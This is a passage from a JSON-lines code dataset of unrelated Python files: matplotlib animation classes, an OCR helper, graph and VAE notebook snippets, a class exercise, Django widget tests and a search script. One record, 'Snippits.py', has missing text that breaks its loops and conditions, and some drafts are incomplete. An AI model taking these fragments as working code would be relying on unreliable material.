[self.patch]\r\n\r\n def appear_down_to_up(self, t_begin, t_end, accel=1.):\r\n return anim.Action([], self._appear_down_to_up, t_begin, t_end, {'accel': accel})\r\n\r\n def _appear_down_to_up(self, i, nframes, fargs):\r\n if i == 0:\r\n self.patch.set_visible(True)\r\n fargs['frames'] = sampling(0, len(self.data), nframes, fargs['accel'])\r\n values, bins = np.histogram(self.data[:int(fargs['frames'][i]) + 1], bins=self.bins)\r\n self.values = values / self.scale\r\n self.verts[1::5, 1] = self.values\r\n self.verts[2::5, 1] = self.values\r\n\r\n def disappear_up_to_down(self, t_begin, t_end, accel=1.):\r\n return anim.Action([], self._disappear_up_to_down, t_begin, t_end, {'accel': accel})\r\n\r\n def _disappear_up_to_down(self, i, nframes, fargs):\r\n if i == 0:\r\n self.patch.set_visible(True)\r\n fargs['frames'] = sampling(len(self.data), 0, nframes, fargs['accel'])\r\n values, bins = np.histogram(self.data[:int(fargs['frames'][i]) + 1], bins=self.bins)\r\n self.values = values / self.scale\r\n self.verts[1::5, 1] = self.values\r\n self.verts[2::5, 1] = self.values\r\n\r\n def disappear_trans(self, t_begin, t_end):\r\n return anim.Action([], self._disappear_trans, t_begin, t_end)\r\n\r\n def _disappear_trans(self, i, nframes, fargs):\r\n if i == 0:\r\n self.patch.set_visible(True)\r\n fargs['alphas'] = np.linspace(1, 0, nframes)\r\n self.patch.set_alpha(fargs['alphas'][i])\r\n\r\n\r\nclass DistNorm(object):\r\n def __init__(self, mean, std, x_range, pdf):\r\n # Parameters\r\n self.mean = mean\r\n self.std = std\r\n self.x_range = x_range\r\n self.pdf = pdf\r\n self.texts = {'left': '', 'center': '', 'right': ''}\r\n self.left = mean\r\n self.right = mean\r\n self.area_status = [0, 1, 0]\r\n self.y_range = self.pdf(self.x_range, self.mean, self.std)\r\n self.y_mean = self.pdf(self.mean, self.mean, self.std)\r\n\r\n self.create_artists()\r\n\r\n def create_artists(self):\r\n self.artists = []\r\n\r\n # Pdf line\r\n self.pdf_line = lines.Line2D([], [], alpha=set_pdf_line.alpha, color=set_pdf_line.lc, lw=set_pdf_line.lw)\r\n self.artists = [self.pdf_line]\r\n\r\n # Mean line\r\n self.mean_line = lines.Line2D([self.mean, self.mean], [0, self.y_mean],\r\n color=set_mean_line.lc, lw=set_mean_line.lw, visible=False)\r\n self.artists += [self.mean_line]\r\n\r\n # Areas\r\n self._update_area_verts()\r\n self.area_collections = []\r\n for i, k in enumerate(self.area_verts.keys()):\r\n fc = set_area.fc[1]\r\n ec = set_area.ec[1]\r\n if self.area_status:\r\n fc = set_area.fc[0]\r\n ec = set_area.ec[0]\r\n verts = self.area_verts[k]\r\n collection = colls.PolyCollection([verts], facecolors=fc, edgecolors=ec, visible=False, alpha=1.)\r\n self.area_collections += [collection]\r\n self.artists += self.area_collections # 3 polygons for areas\r\n\r\n # Texts\r\n p_left, p_center, p_right = self._bounds_to_p()\r\n\r\n self.textboxes = []\r\n for k in self.texts.keys():\r\n if k == 'center':\r\n x = (self.left + self.right) / 2.\r\n y = 0.9 * (self.area_verts['center'][1, 1] + self.area_verts['center'][-2, 1]) / 2.\r\n self.texts[k] = str(int(round(100 * p_center))) + '%'\r\n if k == 'left':\r\n x = self.left\r\n y = 1.1 * (self.area_verts['center'][1, 1])\r\n self.texts[k] = str(int(round(100. * p_left))) + '%'\r\n if k == 'right':\r\n x = self.right\r\n y = 1.1 * (self.area_verts['center'][-2, 1])\r\n self.texts[k] = str(int(round(100 * p_right))) + '%'\r\n self.textboxes += [text_obj.Text(x=x, y=y, text=self.texts[k], visible=False,\r\n color=set_text.fc, alpha=1.,\r\n fontsize=set_text.fs, bbox=set_text.bbox,\r\n verticalalignment='center', horizontalalignment='center')]\r\n self.artists += self.textboxes\r\n\r\n # correct z_orders\r\n z0 = self.area_collections[0].get_zorder()\r\n self.mean_line.set_zorder(z0 + 1)\r\n self.pdf_line.set_zorder(z0 + 2)\r\n for t in self.textboxes:\r\n t.set_zorder(z0 + 3)\r\n\r\n def update_artists(self):\r\n self.y_range = self.pdf(self.x_range, self.mean, self.std)\r\n self.y_mean = self.pdf(self.mean, self.mean, self.std)\r\n\r\n # Pdf line\r\n self.pdf_line.set_data(self.x_range, self.y_range)\r\n\r\n # Mean line\r\n self.mean_line.set_data([self.mean, self.mean], [0, self.y_mean])\r\n\r\n # Areas\r\n self._update_area_verts()\r\n for i, k in enumerate(self.area_verts.keys()):\r\n verts = self.area_verts[k]\r\n self.area_collections[i].set_verts([verts])\r\n\r\n # Texts\r\n p_left, p_center, p_right = self._bounds_to_p()\r\n\r\n for i, k in enumerate(self.texts.keys()):\r\n if k == 'center':\r\n x = (self.left + self.right) / 2.\r\n y = 0.7 * self.y_mean\r\n # y = 0.9 * (self.area_verts['center'][1, 1] + self.area_verts['center'][-2, 1]) / 2.\r\n self.texts[k] = str(int(round(100 * p_center))) + '%'\r\n if k == 'left':\r\n x = self.left\r\n y = 1.1 * (self.area_verts['center'][1, 1])\r\n self.texts[k] = str(int(round(100. * p_left))) + '%'\r\n if k == 'right':\r\n x = self.right\r\n y = 1.1 * (self.area_verts['center'][-2, 1])\r\n self.texts[k] = str(int(round(100 * p_right))) + '%'\r\n self.textboxes[i].set_position((x,y))\r\n self.textboxes[i].set_text(self.texts[k])\r\n\r\n def _update_area_verts(self):\r\n self.area_verts = {}\r\n\r\n # Left\r\n idx = np.where(self.x_range < self.left)[0]\r\n verts = np.zeros([len(idx) + 2, 2])\r\n for j, i in enumerate(idx):\r\n verts[j + 1, :] = np.array([self.x_range[i], self.y_range[i]])\r\n verts[0, :] = np.array([self.x_range[idx[0]], 0])\r\n verts[-1, :] = np.array([self.x_range[idx[-1]], 0])\r\n self.area_verts['left'] = verts.copy()\r\n\r\n # Center\r\n idx = np.where((self.x_range >= self.left) & (self.x_range <= self.right))[0]\r\n if len(idx) == 0:\r\n idx = [np.where(self.x_range >= self.left)[0][0]]\r\n verts = np.zeros([len(idx) + 2, 2])\r\n for j, i in enumerate(idx):\r\n verts[j + 1, :] = np.array([self.x_range[i], self.y_range[i]])\r\n verts[0, :] = np.array([self.x_range[idx[0]], 0])\r\n verts[-1, :] = np.array([self.x_range[idx[-1]], 0])\r\n self.area_verts['center'] = verts.copy()\r\n\r\n # Right\r\n idx = np.where(self.x_range > self.right)[0]\r\n verts = np.zeros([len(idx) + 2, 2])\r\n for j, i in enumerate(idx):\r\n verts[j + 1, :] = np.array([self.x_range[i], self.y_range[i]])\r\n verts[0, :] = np.array([self.x_range[idx[0]], 0])\r\n verts[-1, :] = np.array([self.x_range[idx[-1]], 0])\r\n self.area_verts['right'] = verts.copy()\r\n\r\n def _p_to_bounds(self, p):\r\n p = 1 - p\r\n self.left = norm.ppf(p / 2, self.mean, self.std)\r\n self.right = norm.ppf(1 - p / 2, self.mean, self.std)\r\n\r\n def _bounds_to_p(self):\r\n p_left = norm.cdf(self.left, self.mean, self.std)\r\n p_tmp = norm.cdf(self.right, self.mean, self.std)\r\n p_center = p_tmp - p_left\r\n p_right = 1 - p_tmp\r\n return [p_left, p_center, p_right]\r\n\r\n def pdf_appear_left_to_right(self, t_begin, t_end, frame):\r\n return anim.Action([], self._pdf_appear_left_to_right, t_begin, t_end, {'frame': frame})\r\n\r\n def _pdf_appear_left_to_right(self, i, nframes, fargs):\r\n if i == 0:\r\n self.pdf_line.set_visible(True)\r\n range = np.where((self.x_range >= fargs['frame'].axes.get_xlim()[0]) &\r\n (self.x_range <= fargs['frame'].axes.get_xlim()[1]))[0]\r\n fargs['range'] = np.linspace(range[0], range[-1], nframes, dtype='int')\r\n\r\n x = self.x_range[:fargs['range'][i]]\r\n y = self.pdf(x, self.mean, self.std)\r\n self.pdf_line.set_data(x, y)\r\n\r\n if i == nframes - 1:\r\n self.pdf_line.set_data(self.x_range, self.y_range)\r\n\r\n def area_appear_from_mean(self, t_begin, t_end, p):\r\n return anim.Action([], self._area_appear_from_mean, t_begin, t_end, {'p': p})\r\n\r\n def _area_appear_from_mean(self, i, nframes, fargs):\r\n if i == 0:\r\n self._p_to_bounds(fargs['p'])\r\n fargs['range_left'] = np.linspace(self.mean, self.left, nframes)\r\n fargs['range_right'] = np.linspace(self.mean, self.right, nframes)\r\n for j, k in enumerate(self.area_verts.keys()):\r\n if k == 'center':\r\n self.area_collections[j].set_visible(True)\r\n self.left = fargs['range_left'][i]\r\n self.right = fargs['range_right'][i]\r\n self.update_artists()\r\n\r\n def mean_line_appear(self, t_begin, t_end):\r\n return anim.Action([], self._mean_line_appear, t_begin, t_end, {})\r\n\r\n def _mean_line_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n self.mean_line.set_visible(True)\r\n fargs['frames'] = np.linspace(0, self.y_mean, nframes)\r\n self.mean_line.set_data([self.mean, self.mean], [0, fargs['frames'][i]])\r\n\r\n def move(self, t_begin, t_end, move_to):\r\n return anim.Action([], self._move, t_begin, t_end, {'move_to': move_to})\r\n\r\n def _move(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(self.mean, fargs['move_to'], nframes)\r\n delta = fargs['frames'][i] - self.mean\r\n self.left += delta\r\n self.right += delta\r\n self.mean = fargs['frames'][i]\r\n self.update_artists()\r\n\r\n def mean_line_change_alpha(self, t_begin, t_end, alpha=0):\r\n return anim.Action([], self._mean_line_change_alpha, t_begin, t_end, {'alpha': alpha})\r\n\r\n def _mean_line_change_alpha(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(1., fargs['alpha'], nframes)\r\n self.mean_line.set_alpha(fargs['frames'][i])\r\n\r\n def text_appear(self, t_begin, t_end, idx=1):\r\n return anim.Action([], self._text_appear, t_begin, t_end, {'idx': idx})\r\n\r\n def _text_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(0, 1, nframes)\r\n self.textboxes[fargs['idx']].set_visible(True)\r\n idx = fargs['idx']\r\n self.textboxes[idx].set_alpha(fargs['frames'][i])\r\n bbox = set_text.bbox.copy()\r\n bbox['alpha'] = fargs['frames'][i]\r\n self.textboxes[idx].set_bbox(bbox)\r\n\r\n def p_change(self, t_begin, t_end, p):\r\n return anim.Action([], self._p_change, t_begin, t_end, {'p': p})\r\n\r\n def _p_change(self, i, nframes, fargs):\r\n if i == 0:\r\n _, p, _ = self._bounds_to_p()\r\n fargs['frames'] = np.linspace(p, fargs['p'], nframes)\r\n self._p_to_bounds(fargs['frames'][i])\r\n self.update_artists()\r\n\r\n def all_disappear(self, t_begin, t_end):\r\n return anim.Action([], self._all_disappear, t_begin, t_end, {})\r\n\r\n def _all_disappear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['range'] = np.linspace(1, 0, nframes)\r\n alphas = []\r\n for art in self.artists:\r\n alphas.append(art.get_alpha())\r\n fargs['alphas'] = alphas\r\n\r\n for j, art in enumerate(self.artists):\r\n art.set_alpha(fargs['alphas'][j] * fargs['range'][i])\r\n if i == nframes - 1:\r\n art.set_visible(False)\r\n\r\n\r\nclass Point(object):\r\n def __init__(self, x=0, y=0, rx=set_point.rx, aspect=9. / 16., p2c_ratio=6.):\r\n self.x = x\r\n self.y = y\r\n self.rx = rx\r\n self.aspect = aspect\r\n self.p2c_ratio = p2c_ratio\r\n self.scaling_ratio = 1\r\n self.point = patches.Ellipse((self.x, self.y), self.rx, self.rx / self.aspect, visible=False,\r\n facecolor=set_point.fc, edgecolor=set_point.ec, alpha=set_point.alpha)\r\n\r\n self.center = patches.Ellipse((self.x, self.y), self.rx / p2c_ratio,\r\n self.rx / self.aspect / p2c_ratio,\r\n visible=False, facecolor=set_point.center_c)\r\n self.point.set_zorder(10)\r\n self.center.set_zorder(11)\r\n self.create_artists()\r\n\r\n def create_artists(self):\r\n self.artists = [self.point, self.center]\r\n\r\n def change_aspect(self, aspect):\r\n\r\n self.point.height = self.rx / aspect\r\n self.center.height = self.point.height / self.p2c_ratio\r\n self.aspect = aspect\r\n\r\n def update_radius(self, rx):\r\n self.rx = rx\r\n self.point.width = self.rx\r\n self.point.height = self.rx / self.aspect\r\n self.center.width = self.point.width / self.p2c_ratio\r\n self.center.height = self.point.height / self.p2c_ratio\r\n\r\n def change_radius(self, t_begin, t_end, rx):\r\n return anim.Action([], self._change_radius, t_begin, t_end, {'rx': rx})\r\n\r\n def _change_radius(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(self.rx, fargs['rx'], nframes)\r\n self.update_radius(fargs['frames'][i])\r\n\r\n def change_scale(self, t_begin, t_end, ratio):\r\n return anim.Action([], self._change_scale, t_begin, t_end, {'ratio': ratio})\r\n\r\n def _change_scale(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(self.rx, self.rx * fargs['ratio'], nframes)\r\n self.scaling_ratio = fargs['ratio']\r\n self.update_radius(fargs['frames'][i])\r\n\r\n def appear(self, t_begin, t_end, rx=set_point.rx, ratio=0.7, scale=1.3):\r\n return anim.Action([], self._appear, t_begin, t_end, {'ratio': ratio, 'scale': scale, 'rx': rx})\r\n\r\n def _appear(self, i, nframes, fargs):\r\n ratio = fargs['ratio']\r\n scale = fargs['scale']\r\n if i == 0:\r\n self.rx = 0\r\n self.point.set_visible(True)\r\n self.center.set_visible(True)\r\n nframes_1 = int(ratio * nframes)\r\n nframes_2 = nframes - nframes_1\r\n frames_1 = np.linspace(0, fargs['rx'] * scale * self.scaling_ratio, nframes_1)\r\n frames_2 = np.linspace(fargs['rx'] * scale * self.scaling_ratio, fargs['rx'] * self.scaling_ratio,\r\n nframes_2)\r\n frames = np.hstack([frames_1, frames_2])\r\n fargs['frames'] = frames\r\n self.update_radius(fargs['frames'][i])\r\n\r\n def disappear(self, t_begin, t_end):\r\n return anim.Action([], self._disappear, t_begin, t_end, {})\r\n\r\n def _disappear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(self.rx, 0, nframes)\r\n self.update_radius(fargs['frames'][i])\r\n if i == nframes - 1:\r\n self.point.set_visible(False)\r\n self.center.set_visible(False)\r\n\r\n\r\nclass Interval(object):\r\n def __init__(self, left, right, height, pdf=None):\r\n self.left = left\r\n self.right = right\r\n self.height = height\r\n self.pdf = pdf\r\n self.update_verts(self.height)\r\n self.create_artists()\r\n\r\n def update_verts(self, height):\r\n self.verts = np.zeros([4, 2])\r\n self.verts[0, :] = np.array([self.left, -height])\r\n self.verts[1, :] = np.array([self.left, height])\r\n self.verts[2, :] = np.array([self.right, height])\r\n self.verts[3, :] = np.array([self.right, -height])\r\n\r\n self.verts[:, 1] *= set_interval.scale\r\n\r\n def create_artists(self):\r\n self.line_left = lines.Line2D([], [], color=set_interval.lc, lw=set_interval.lw, visible=False)\r\n self.line_right = lines.Line2D([], [], color=set_interval.lc, lw=set_interval.lw, visible=False)\r\n self.collection = colls.PolyCollection([self.verts], facecolors=set_interval.fc, edgecolors=set_interval.ec,\r\n visible=False, alpha=set_interval.alpha)\r\n\r\n # Texts\r\n self.bounds_textboxes = []\r\n x = self.left\r\n y = - 1.8 * self.height * 1.7\r\n text = str(round(self.left, 1))\r\n self.bounds_textboxes += [text_obj.Text(x=x, y=y, text=text, visible=False,\r\n color=set_text.fc, alpha=1.,\r\n fontsize=set_text.fs, bbox=set_interval.bbox,\r\n verticalalignment='center', horizontalalignment='center')]\r\n x = self.right\r\n text = str(round(self.right, 1))\r\n self.bounds_textboxes += [text_obj.Text(x=x, y=y, text=text, visible=False,\r\n color=set_text.fc, alpha=1.,\r\n fontsize=set_text.fs, bbox=set_interval.bbox,\r\n verticalalignment='center', horizontalalignment='center')]\r\n\r\n x = (self.left + self.right) / 2.\r\n y = 1.8 * self.height * 1.7\r\n p_left, p_center, p_right = self._bounds_to_p()\r\n text = str(int(round(100. * p_center))) + '%'\r\n self.bounds_textboxes += [text_obj.Text(x=x, y=y, text=text, visible=False,\r\n color=set_text.fc, alpha=1.,\r\n fontsize=set_text.fs, bbox=set_interval.bbox,\r\n verticalalignment='center', horizontalalignment='center')]\r\n\r\n self.line_left.set_zorder(10)\r\n self.line_right.set_zorder(10)\r\n self.collection.set_zorder(2)\r\n\r\n self.artists = [self.line_left, self.line_right, self.collection]\r\n self.artists += self.bounds_textboxes\r\n\r\n def update_artists(self):\r\n self.update_verts(self.height)\r\n self.collection.set_verts([self.verts])\r\n self.line_right.set_data([self.right, self.right], [self.height, - 1.7*self.height])\r\n self.line_left.set_data([self.left, self.left], [self.height, - 1.7*self.height])\r\n\r\n x = self.left\r\n y = - 1.8 * self.height * 1.7\r\n text = str(round(self.left, 1))\r\n self.bounds_textboxes[0].set_position((x, y))\r\n self.bounds_textboxes[0].set_text(text)\r\n\r\n x = self.right\r\n text = str(round(self.right, 1))\r\n self.bounds_textboxes[1].set_position((x, y))\r\n self.bounds_textboxes[1].set_text(text)\r\n\r\n x = (self.left + self.right) / 2.\r\n y = 1.8 * self.height * 1.7\r\n p_left, p_center, p_right = self._bounds_to_p()\r\n text = str(int(round(100. * p_center))) + '%'\r\n self.bounds_textboxes[2].set_position((x, y))\r\n self.bounds_textboxes[2].set_text(text)\r\n\r\n def _p_to_bounds(self, p):\r\n p = 1 - p\r\n mean = (self.left + self.right) / 2.\r\n self.left = norm.ppf(p / 2, mean, self.pdf.std)\r\n self.right = norm.ppf(1 - p / 2, mean, self.pdf.std)\r\n\r\n def _bounds_to_p(self):\r\n mean = (self.left + self.right) / 2.\r\n p_left = norm.cdf(self.left, mean, self.pdf.std)\r\n p_tmp = norm.cdf(self.right, mean, self.pdf.std)\r\n p_center = p_tmp - p_left\r\n p_right = 1 - p_tmp\r\n return [p_left, p_center, p_right]\r\n\r\n def line_left_appear(self, t_begin, t_end):\r\n return anim.Action([], self._line_left_appear, t_begin, t_end, {})\r\n\r\n def _line_left_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['range'] = np.linspace(0, self.height, nframes)\r\n self.line_left.set_visible(True)\r\n self.update_artists()\r\n self.line_left.set_data([self.left, self.left], [-1.7*fargs['range'][i], fargs['range'][i]])\r\n\r\n def line_right_appear(self, t_begin, t_end):\r\n return anim.Action([], self._line_right_appear, t_begin, t_end, {})\r\n\r\n def _line_right_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['range'] = np.linspace(0, self.height, nframes)\r\n self.line_right.set_visible(True)\r\n self.update_artists()\r\n self.line_right.set_data([self.right, self.right], [-1.7*fargs['range'][i], fargs['range'][i]])\r\n\r\n def area_appear(self, t_begin, t_end):\r\n return anim.Action([], self._area_appear, t_begin, t_end, {})\r\n\r\n def _area_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['range'] = np.linspace(0, self.height, nframes)\r\n self.collection.set_visible(True)\r\n self.update_artists()\r\n self.update_verts(fargs['range'][i])\r\n self.collection.set_verts([self.verts])\r\n\r\n def text_appear(self, t_begin, t_end, idx=0):\r\n return anim.Action([], self._text_appear, t_begin, t_end, {'idx': idx})\r\n\r\n def _text_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['frames'] = np.linspace(0, 1, nframes)\r\n self.bounds_textboxes[fargs['idx']].set_visible(True)\r\n self.update_artists()\r\n idx = fargs['idx']\r\n self.bounds_textboxes[idx].set_alpha(fargs['frames'][i])\r\n # bbox = set_text.bbox.copy()\r\n # bbox['alpha'] = fargs['frames'][i]\r\n # self.textboxes[idx].set_bbox(bbox)\r\n\r\n def p_change(self, t_begin, t_end, p):\r\n return anim.Action([], self._p_change, t_begin, t_end, {'p': p})\r\n\r\n def _p_change(self, i, nframes, fargs):\r\n if i == 0:\r\n _, p_center, _ = self._bounds_to_p()\r\n fargs['range'] = np.linspace(p_center, fargs['p'], nframes)\r\n self._p_to_bounds(fargs['range'][i])\r\n self.update_artists()\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"objects/objects_new2.py","file_name":"objects_new2.py","file_ext":"py","file_size_in_byte":28658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"358733146","text":"import subprocess\n\nimport cv2\n\ndef ocr(path):\n original = cv2.imread(path)\n cropped_example = original[145:175, 825:914]\n cv2.imwrite('1.png', cropped_example)\n process = subprocess.Popen([r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe', '1.png', '1'],\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n process.communicate()\n\n with open('1.txt', 'r') as handle:\n contents = handle.read()\n\n return contents\n\n\nstr = ocr('observable/1557585076.2576663.jpg')\nprint(str)\n","sub_path":"dino_game/img_to_text.py","file_name":"img_to_text.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"261643144","text":"from pydash import py_\n\ndef shortest_paths(G, N : int = 1):\n \"\"\"Get the top N shortest paths in G for every possible pair\n\n The shortest path is computed on the edges' weights\n\n Arguments:\n G {[type]} -- The network G(E, V)\n\n Keyword Arguments:\n N {int} -- Number of admissible solutions for path (default: {1})\n\n Returns:\n [type] -- [description]\n \"\"\"\n\n # vertices\n V = G.keys()\n\n # { destination: [ { code: [ vendor_info ] } ] }\n P = dict()\n\n edge_weight = lambda v1, v2: py_.filter(G[v1], {'destination': v2})['rate']\n adj_vertex = lambda v: G[v]\n\n for v in V:\n P[v] = []\n \n for v in V:\n for adj_v in adj_vertex(v):\n adj_v = list(adj_v)[0]\n P[adj_v].append({ 'v': v, 'w': edge_weight(v, adj_v) })\n P[adj_v] = py_.order_by(P[adj_v], 'rate')[0:N]\n\n for v in V:\n P[v] = py_.map(P[v], lambda _: {_['v']: _['w']})\n \n return P\n\n\ndef aux(graph, key, start):\n if key == start:\n return -1\n else:\n return -1\n\ndef build_table(graph, start, end, tmp, res):\n\n def f(_):\n a = {'test': 1}\n return { **a, **_ }\n\n return list(map(lambda _: f(_), res))\n \n\n \n\n","sub_path":"algorithm/bellman_ford_variation_1.py","file_name":"bellman_ford_variation_1.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"43294017","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:percent\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.9.1\n# ---\n\n# %%\n#####################################\n# Play with latent space #\n#####################################\nfrom ipywidgets import interact, interactive, fixed, interact_manual\nimport ipywidgets as widgets\nfrom IPython.display import display\n\ndef LatentSpacePlayground(model):\n def on_slider_change(b):\n slider_vals = [s.value for s in sliders]\n \n with output:\n output.clear_output()\n ts = torch.zeros(1,latent_size)\n ts[0] = torch.FloatTensor(slider_vals)\n ts = ts.to(device)\n genImg = model.decode(ts)\n plotTensor(genImg)\n\n \n sliders = []\n row_size = 16\n vb = []\n for i in range(int(math.ceil(latent_size/row_size))):\n left = latent_size - row_size*i\n hb = []\n for j in range(min(row_size, left)):\n v = i * row_size + j\n slider = widgets.FloatSlider(description='LV %d'%v, continuous_update=False, orientation='vertical', min=-2, max=2)\n sliders.append(slider)\n sliders[-1].observe(on_slider_change, names='value')\n hb.append(slider)\n \n vb.append(widgets.HBox(hb))\n\n\n slider_bank = widgets.VBox(vb)\n output = widgets.Output()\n\n return (slider_bank, output)\n\n\n#display(*LatentSpacePlayground(Vres))\n\n# %%\ndef HorseBirdTensors(count=batch_size):\n hc = 0\n bc = 0\n\n horses = torch.zeros(count, image_channels, image_size, image_size, requires_grad=False)\n birds = torch.zeros(count, image_channels, image_size, image_size, requires_grad=False)\n\n while hcb:\n a_cluster.append(i)\n else:\n b_cluster.append(i)\n\n return intersecting, a_cluster, b_cluster\n\ndef unionIntersection(model, data, cc):\n a = data[0]\n b = data[1]\n data_in_clusters = clusterClasses(model, data, clusters=cc)\n aAndb, aNotb, bNota = getIntersectingClasses(data_in_clusters[0], data_in_clusters[1], cc)\n print(aAndb)\n print(aNotb)\n print(bNota)\n\n for cluster in aAndb:\n printImageFromCluster(a, data_in_clusters[0], cluster,max_plot=8)\n printImageFromCluster(b, data_in_clusters[1], cluster,max_plot=8)\n\n print(\"-------------------------------\")\n print(\"- A Not B -\")\n print(\"-------------------------------\")\n for cluster in aNotb:\n printImageFromCluster(a, data_in_clusters[0], cluster,max_plot=8)\n \n print(\"-------------------------------\")\n print(\"- B Not A -\")\n print(\"-------------------------------\")\n for cluster in bNota:\n printImageFromCluster(b, data_in_clusters[1], cluster,max_plot=8)\n\n\n# %%\nunionIntersection(Vfcres, [birds, ships], 15)\n\n# %%\n###### Resnet only encoder\n\nimport ResNet\nimport importlib\nimportlib.reload(ResNet)\nfrom ResNet import ResNet18Encoder, ResNet18Decoder\n\nvae_enc_old = ResNet18Encoder()\nvae_dec_old = ResNet18Decoder(\n latent_dim=latent_size,\n input_height=image_size\n)\nVres_old = VAE(vae_enc_old, vae_dec_old).to(device)\n#elo_loss, kl_loss, recon_loss = TrainModel(Vres, 0)\n#PlotAllLoss([elo_loss, kl_loss, recon_loss], [\"EBLO\", \"KL\", \"Recon\"])\n#PlotLoss(elo_loss)\n","sub_path":"Pegasus/Snippits.py","file_name":"Snippits.py","file_ext":"py","file_size_in_byte":7727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"343556770","text":"class Fruit:\n\tdef __init__(self, color = \"green\"):\n\t\tFruit.color = color\n\n\tdef harvest(self, color):\n\t\tprint(\"水果是:\" + self.color + \"的!\")\n\t\tprint(\"水果已经收获...\")\n\t\tprint(\"水果原来是:\" + Fruit.color + \"的!\")\n\n\nclass Apple(Fruit):\n\tcolor = \"red\"\n\n\tdef __init__(self):\n\t\tprint(\"I am an apple\")\n\t\tsuper().__init__()\n\n\nclass Sapodilla(Fruit):\n\tdef __init__(self, color):\n\t\tprint(\"I am a sapodilla\")\n\t\tsuper().__init__(color)\n\n\tdef harvest(self, color):\n\t\tprint(\"人参果是:\" + color + \"的!\")\n\t\tprint(\"人参果已经收获...\")\n\t\tprint(\"人参果原来是:\" + Fruit.color + \"的!\")\n\n\nif __name__ == \"__main__\":\n\tapple = Apple()\n\tapple.harvest(apple.color)\n\n\tsapodilla = Sapodilla(\"white\")\n\tsapodilla.harvest(\"金黄色带紫色条纹\")\n","sub_path":"exercise/fruits.py","file_name":"fruits.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"609438301","text":"from mock import mock\nfrom django import test\nfrom django.core.exceptions import ValidationError\nfrom django_grapesjs.forms.fields import GrapesJsField\nfrom django_grapesjs.forms.widgets import GrapesJsWidget\n\n__all__ = ('GrapesJsWidgetTestCase', )\n\n\n\nclass GrapesJsWidgetTestCase(test.TestCase):\n def test_get_formatted_id_value(self):\n value = 'value-id'\n correct_value = 'value_id'\n\n widget = GrapesJsWidget()\n result = widget.get_formatted_id_value(value)\n\n self.assertEqual(correct_value, result)\n\n @mock.patch('django.forms.widgets.Widget.get_context')\n def test_get_context(self, context_mock):\n value = 0\n attrs = [\n 'apply_django_tag',\n 'apply_django_tag',\n 'template_choices',\n 'html_name_init_conf',\n ]\n check_data = {'widget': {'attrs': {'id': 'test'}}}\n\n widget = GrapesJsWidget()\n context_mock.return_value = check_data\n\n data = check_data.copy()\n\n for attr in attrs:\n data['widget'][attr] = value\n\n attrs.append('default_html')\n\n for attr in attrs:\n setattr(widget, attr, value)\n\n self.assertDictEqual(data, widget.get_context('name', 'value', 'attrs'))\n\n","sub_path":"django_grapesjs/tests/test_form_widgets.py","file_name":"test_form_widgets.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"199098077","text":"'''\n Author : Shubham Agrawal\n Roll no: 2019201085\n Institute: IIIT-Hyderabad\n'''\n\nfrom sys import argv\nimport pickle\nimport timeit\nimport os\nimport re\nimport string\nimport nltk\n# nltk.download('punkt')\n# nltk.download('stopwords')\nfrom nltk.stem.snowball import SnowballStemmer\nstemmer = SnowballStemmer(\"english\")\nfrom nltk.corpus import stopwords\nstop_words = set(stopwords.words('english'))\n\ndef remove_punctuation(line):\n\treturn line.translate(str.maketrans('','',string.punctuation))\n\ndef isFieldQuery(query_string):\n\tfor ch in query_string:\n\t\tif(ch==\":\"):\n\t\t\treturn True\n\treturn False\n\nimport timeit\ndef binary_search(fast_index, word):\n\tl = -1\n\tr = len(fast_index)\n\n\twhile(1+l=3):\n# \ttitles[data[0]] = data[1:]\n# \t# if(int(data[0]) % 100000 == 0):\n# \t# \tprint(data)\n# title_file.close()\n# print(\"No. of documents : \", num_of_docs)\n# print(dump[60000:60005])\n# print(len(titles['3']))\n\n\n\n\n\n\n","sub_path":"code/search_one_query.py","file_name":"search_one_query.py","file_ext":"py","file_size_in_byte":8651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
